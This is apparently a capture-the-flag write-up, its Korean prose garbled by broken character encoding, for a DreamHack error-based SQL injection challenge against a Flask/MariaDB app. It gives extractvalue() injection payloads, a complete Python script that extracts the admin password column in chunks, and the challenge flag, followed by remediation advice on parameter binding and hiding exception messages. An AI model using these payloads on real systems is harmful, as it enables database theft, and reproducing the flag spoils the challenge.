๋ฌธ์ : DreamHack โ error based sql injection ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Silver 3 FLAG:
DH{c3968c78840750168774ad951fc98bf788563c4d}
uid ํ๋๋ง ๋ฐ๋ ์์ฃผ ๋จ์ํ ์กฐํ ํ์ด์ง๋ค. ๊ทธ๋ฐ๋ฐ ์กฐํ์ ์ฑ๊ณตํ๋ ์คํจํ๋ ํ๋ฉด์ ์ฐํ๋ ๊ฑด ํญ์ ๋ด๊ฐ ๋ณด๋ธ ์ฟผ๋ฆฌ ๋ฌธ์์ด๋ฟ์ด๊ณ , ์ค์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ฐ์ ํ ๊ธ์๋ ์ ๋ณด์ธ๋ค. ์์ธ๊ฐ ํฐ์ก์ ๋๋ง ์์ธ๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | error based sql injection |
| ๋์ด๋ | ๐ฅ Silver 3 |
| ๋ถ๋ฅ | Web |
| ์คํ | Python 3.10 ยท Flask ยท flask-mysqldb ยท MariaDB |
| ์ ๊ณต | app.py / init.sql / Dockerfile ์์ค + ๋ผ์ด๋ธ ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | ๋ฌธ์์ด ํฌ๋งคํ
SQLi + ์์ธ ๋ฉ์์ง(str(e)) ๊ทธ๋๋ก ์๋ต โ extractvalue() ์๋ฌ๊ธฐ๋ฐ ์ ์ถ |
์ด๋ฆ ๊ทธ๋๋ก ์๋ฌ๊ธฐ๋ฐ์ด ์ ์ผํ ํต๋ก๋ค. ์ ์/์คํจ ์๋ต์ด ๊ตฌ๋ถ๋์ง ์์ผ๋ boolean์ด๋ UNION์ ์ธ๋ชจ๊ฐ ์๊ณ , MariaDB๊ฐ ๋ฑ๋ ์์ธ ๋ฉ์์ง์ ์ํ๋ ๊ฐ์ ์ค์ด ๋ณด๋ด์ผ ํ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์์ธ๋ฅผ ๋ค๋ฃจ๋ ๋ฐฉ์
Flask ๋ผ์ฐํธ์์ DB ์ฟผ๋ฆฌ๋ฅผ ๊ฐ์ผ try/except๊ฐ ์ค์ ๋ก ๋ญ ๋๋ ค์ฃผ๋์ง๊ฐ ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค.
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)์ฟผ๋ฆฌ๊ฐ ์ฑ๊ณตํ๋ฉด template.format(uid=uid), ์ฆ ๋ด๊ฐ ๋ณด๋ธ uid๋ฅผ ๊ทธ๋๋ก ๋๋ผ์ ๋ฃ์ ์ฟผ๋ฆฌ ๋ฌธ์์ด๋ง ๋์์จ๋ค. ์ค์ cur.execute() ๊ฒฐ๊ณผ(row)๋ ์ด๋์๋ ์ฐ์ด์ง ์๋๋ค. ๋ฐ๋๋ก ์ฟผ๋ฆฌ๊ฐ ์คํจํ๋ฉด str(e) โ MySQLdb ์์ธ ๊ฐ์ฒด๋ฅผ ๋ฌธ์์ด๋ก ๋ฐ๊พผ ๊ฒ, ์ฆ ๋๋ผ์ด๋ฒ๊ฐ ๋ฐ์ ์๋ฌ ๋ฉ์์ง ์๋ฌธ์ด ๊ทธ๋๋ก ์๋ต ๋ณธ๋ฌธ์ด ๋๋ค.
์ ์ ๋์๊ณผ ์๋ฌ ์ํฉ์์ ์๋ต์ด ์ด๋ป๊ฒ ๊ฐ๋ฆฌ๋์ง ์ค์ ๋ก ์ฐ์ด๋ดค๋ค.

admin์ผ๋ก ์กฐํํด๋ ํ๋ฉด์ ์ฌ์ ํ SELECT * FROM user WHERE uid='admin';๋ง ์๋ค. ์ด ์๋ต ํ๋๋ก๋ uid๊ฐ ์กด์ฌํ๋์ง์กฐ์ฐจ ์ ์ ์๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ ๋ญ ์กฐ์ํ ์ ์๋
init.sql์ ๋ณด๋ฉด ๋ชฉํ๊ฐ ๋ถ๋ช
ํ๋ค.
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');user ํ
์ด๋ธ์ admin ํ upw ์ปฌ๋ผ์ด ํ๋๊ทธ๋ค. uid ํ๋ผ๋ฏธํฐ๋ ๋ฐ์ดํ๋ก ๊ฐ์ธ๋ ์ฒ๋ฆฌ ์์ด f-string์ผ๋ก ์ฟผ๋ฆฌ์ ๋ฐ๋ก ๊ฝํ๋, ' ํ๋๋ง ๋ณด๋ด๋ ๋ฌธ์์ด ๋ฆฌํฐ๋ด์ด ๊นจ์ง๋ค.
GET /?uid=admin'
(1064, "... check the manual that corresponds to your MariaDB server version ...") โ ๋๋ผ์ด๋ฒ ์์ธ๊ฐ ๊ฐ๊ณต ์์ด ๊ทธ๋๋ก ๋์จ๋ค. SQLi๋ ํ์ ๋๊ณ , ์ด์ ๊ด๊ฑด์ ์ด ์์ธ ๋ฉ์์ง์ ์ํ๋ ๊ฐ์ ์ด๋ป๊ฒ ์ค์ด ๋ณด๋ด๋๋๋ค.
๐ ์ฝ์ง โ ์๋ต์ด ์ ๊ฐ๋ฆฌ๋ฉด UNION๋ boolean๋ ์์ฉ์๋ค
๊ฐ์ฅ ๋จผ์ ํด๋ณธ ๊ฑด UNION ๊ธฐ๋ฐ์ด์๋ค. ์ปฌ๋ผ ์(idx, uid, upw 3๊ฐ)๋ฅผ ๋ง์ถฐ์ ๋ฃ์ด๋ดค๋ค.
โถ๐ ์ฝ์ง 1 โ UNION SELECT, ์ฟผ๋ฆฌ๋ ์ฑ๊ณตํ์ง๋ง ์๋ฌด ๊ฒ๋ ์ ๋ณด์
GET /?uid=admin' UNION SELECT 1,2,3-- -
๋ฌธ๋ฒ ์๋ฌ ์์ด ํต๊ณผํ๋ค. ๊ทธ๋ฐ๋ฐ ์๋ต์ SELECT * FROM user WHERE uid='admin' UNION SELECT 1,2,3-- -';๋ผ๋ ๋ฌธ์์ด๋ง ์์ ๋ฟ, UNION์ผ๋ก ๋ถ์ธ 1,2,3์ด ์ด๋์๋ ์ ๋ณด์ธ๋ค. ์ ์ด์ cur.execute()์ ๊ฒฐ๊ณผ ์์ฒด๋ฅผ ํ๋ฉด์ ๋ฐ์ํ๋ ์ฝ๋๊ฐ ์์ผ๋ ๋น์ฐํ๋ค.
ํน์ ์ฐธ/๊ฑฐ์ง์ ๋ฐ๋ผ ํ์ด์ง๊ฐ ๋ฏธ๋ฌํ๊ฒ๋ผ๋ ๋ฌ๋ผ์ง๋ ์ถ์ด boolean ๊ธฐ๋ฐ๋ ์ฐ๋ฌ๋ดค๋ค.
โถ๐ ์ฝ์ง 2 โ AND 1=1 / AND 1=2, ์ฐธ์ด๋ ๊ฑฐ์ง์ด๋ ์๋ต์ด ๋๊ฐ์
GET /?uid=admin' AND 1=2-- -
AND 1=1์ด๋ AND 1=2์ด๋ ๊ฒฐ๊ณผ๋ ํญ์ template.format(uid=uid) ํ ์ค๋ฟ์ด๋ค. ์กฐ๊ฑด์ด ์ฐธ์ธ์ง ๊ฑฐ์ง์ธ์ง ๊ตฌ๋ถํ ๋ฐฉ๋ฒ์ด ์๋ต ์ด๋์๋ ์๋ค.
๋ ์๋ ๋ค "์ฟผ๋ฆฌ๋ ํตํ๋๋ฐ ์๋ฌด๊ฒ๋ ์ ๋ณด์ธ๋ค"๋ก ๋๋ฌ๋ค. ์ด ์ฑ์์ ๊ฐ์ ๋นผ๋ผ ์ ์๋ ์ ์ผํ ์ฑ๋์ ์ฒ์ ๋ดค๋ ๊ทธ SQL ๋ฌธ๋ฒ ์๋ฌ ๋ฉ์์ง๋ฟ์ด๋ค.
๐ฃ ํต์ฌ โ extractvalue() ๋ก ์๋ธ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์๋ฌ์ ํ์ฐ๊ธฐ
MariaDB์ extractvalue(xml_frag, xpath_expr)๋ ๋ ๋ฒ์งธ ์ธ์๋ฅผ XPath ํํ์์ผ๋ก ํ์ฑํ๋ค. ์ฌ๊ธฐ์ ~(0x7e)๋ก ์์ํ๋, XPath ๋ฌธ๋ฒ์ด ์๋ ๋ฌธ์์ด์ ๋ฃ์ผ๋ฉด ํ์ฑ์ด ์คํจํ๋ฉด์ ๊ทธ ๋ฌธ์์ด ์์ฒด๋ฅผ ์๋ฌ ๋ฉ์์ง์ ๊ทธ๋๋ก ํฌํจ์ํจ๋ค.
extractvalue(1, concat(0x7e, (SELECT upw FROM user WHERE uid='admin')))concat(0x7e, ...)๊ฐ ์๋ธ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ ์์ ~๋ฅผ ๋ถ์ฌ "์ด๊ฑด ์ ํจํ XPath๊ฐ ์๋๋ค"๋ฅผ ํ์ ์ํค๊ณ , MariaDB๋ XPATH syntax error: '~<๊ฐ>'์ด๋ผ๋ ์์ธ๋ฅผ ๋์ง๋ค. ์ด ์์ธ๊ฐ str(e)๋ฅผ ๊ฑฐ์ณ ๊ทธ๋๋ก HTTP ์๋ต์ด ๋๋ค.

๋ค๋ง ์ด ๋ฐฉ์์ ์ ์ฝ์ด ํ๋ ์๋ค. MariaDB๊ฐ XPath ์๋ฌ ๋ฉ์์ง์ ๋ด๋ ๋ฌธ์์ด ๊ธธ์ด๊ฐ ์ผ์ ๊ธธ์ด(๋๋ต 32๋ฐ์ดํธ ์ํ)์์ ์๋ฆฐ๋ค. upw๊ฐ ๊ทธ๋ณด๋ค ๊ธธ๋ฉด ํ ๋ฒ์ ๋ค ๋ชป ๋ฝ๊ณ SUBSTRING์ผ๋ก ๋๋ ์ฌ๋ฌ ๋ฒ ์ง์ํด์ผ ํ๋ค.
๐ฏ ์ต์คํ๋ก์
๋จผ์ ๊ธธ์ด๋ถํฐ ํ์ธํ๋ค.
GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT LENGTH(upw) FROM user WHERE uid='admin')))-- -
44์. ์๋ฆผ ๊ตฌ๊ฐ์ ํผํด 30์์ฉ ๋์ด ๋ ๋ฒ ๋๋ ๋ฝ์๋ค.
GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(upw,1,30) FROM user WHERE uid='admin')))-- -
GET /?uid=admin' AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(upw,31,20) FROM user WHERE uid='admin')))-- -
๋ ์กฐ๊ฐ DH{c3968c78840750168774ad951fc + 98bf788563c4d}๋ฅผ ์ด์ด ๋ถ์ด๋ฉด ์ ์ฒด 44์๊ฐ ์์ฑ๋๋ค.
๐ Full Exploit
๊ธธ์ด ํ์ธ๋ถํฐ ์ฒญํฌ ๋จ์ ๋ฐ๋ณต ์ถ์ถ๊น์ง ํ ์คํฌ๋ฆฝํธ๋ก ๋ฌถ์๋ค.
#!/usr/bin/env python3
# app.py ๊ฐ str(e) ๋ฅผ ๊ทธ๋๋ก ์๋ต์ ์ฐ์ด์ฃผ๋ ์ ์ ์ด์ฉํ ์๋ฌ๊ธฐ๋ฐ SQLi.
# extractvalue() ์ XPATH syntax error ์ ์๋ธ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์ค์ด ๋๋ฅธ๋ค.
import re
import sys
import urllib.parse
import urllib.request
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:13688"
ERR_RE = re.compile(r"XPATH syntax error: '~(.*)'\"?\)$")
def leak(expr):
payload = f"admin' AND extractvalue(1,concat(0x7e,({expr})))-- -"
url = f"{BASE}/?uid=" + urllib.parse.quote(payload, safe="")
body = urllib.request.urlopen(url, timeout=10).read().decode()
m = ERR_RE.search(body.strip())
return m.group(1) if m else None
length = int(leak("SELECT LENGTH(upw) FROM user WHERE uid='admin'"))
print(f"[*] LENGTH(upw) = {length}")
CHUNK = 30
flag = ""
for start in range(1, length + 1, CHUNK):
part = leak(f"SELECT SUBSTRING(upw,{start},{CHUNK}) FROM user WHERE uid='admin'")
print(f"[*] SUBSTRING(upw,{start},{CHUNK}) = {part}")
flag += part
print("\n[+] FLAG =", flag)
[+] FLAG = DH{c3968c78840750168774ad951fc98bf788563c4d}๐ ๊ฒฐ๋ก
์๋ต์ ๋ฐ์ดํฐ๊ฐ ์ ๋ณด์ธ๋ค๊ณ SQLi๊ฐ ๋งํ ๊ฒ ์๋๋ค.
์ด ์ฑ์ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ํ๋ฉด์ ๋ฐ์ํ๋ ์ฝ๋ ์์ฒด๊ฐ ์์ด์ UNION์ด๋ boolean์ด๋ ๊ฒ๋ณด๊ธฐ์ ์๋ฌด ํจ๊ณผ๊ฐ ์์ด ๋ณด์ธ๋ค. ํ์ง๋ง ์์ธ ์ฒ๋ฆฌ ๊ฒฝ๋ก ํ๋๊ฐ ์ด๋ ค ์์ผ๋ฉด ๊ทธ ๊ฒฝ๋ก๋ก ์ํ๋ ๊ฐ์ ๊ทธ๋๋ก ๋นผ๋ผ ์ ์๋ค. ์ฑ๋์ด ํ๋๋ฟ์ด๋ผ๊ณ ์์ ํ ๊ฒ ์๋๋ผ, ๊ทธ ํ๋๊ฐ ๋ซ๋ฆฌ๋ฉด ๊ทธ๊ฑธ๋ก ๋์ด๋ค.
์์ธ ๋ฉ์์ง๋ฅผ ์ฌ์ฉ์์๊ฒ ๊ทธ๋๋ก ๋ณด์ฌ์ฃผ๋ฉด ์ ๋๋ค.
except Exception as e: return str(e)๋ ๋๋ฒ๊น
ํ ๋ ํธํ์ง๋ง, DB ๋๋ผ์ด๋ฒ ์์ธ๋ ์ฟผ๋ฆฌ ๊ตฌ์กฐ์ ๋ฐ์ดํฐ ์กฐ๊ฐ์ ๊ทธ๋๋ก ๋ด๊ณ ์๋ค. ์ด์ ํ๊ฒฝ์์๋ ์ฌ์ฉ์์๊ฒ ์ผ๋ฐํ๋ ์๋ฌ๋ง ๋ณด์ฌ์ฃผ๊ณ , ์๋ณธ ์์ธ๋ ์๋ฒ ๋ก๊ทธ์๋ง ๋จ๊ฒจ์ผ ํ๋ค.
์ ๋ ฅ์ ๋ฌธ์์ด ํฌ๋งคํ ์ผ๋ก ์ฟผ๋ฆฌ์ ๊ฝ์ง ์๋๋ค.
f"...WHERE uid='{uid}'" ๋์ ํ๋ผ๋ฏธํฐ ๋ฐ์ธ๋ฉ(cur.execute("... WHERE uid=%s", (uid,)))์ ์ฐ๋ฉด ์ ์ด์ ' ํ๋๋ก ๋ฌธ์์ด ๋ฆฌํฐ๋ด์ ๊นจ๋ ๊ฒ ์์ฒด๊ฐ ๋ถ๊ฐ๋ฅํด์ง๋ค. ์๋ฌ๊ธฐ๋ฐ์ด๋ ๋ญ๋ , SQLi ๊ณ์ด ์ทจ์ฝ์ ์ ์ฒด๊ฐ ์ด ํ ์ค๋ก ์ฌ๋ผ์ง๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ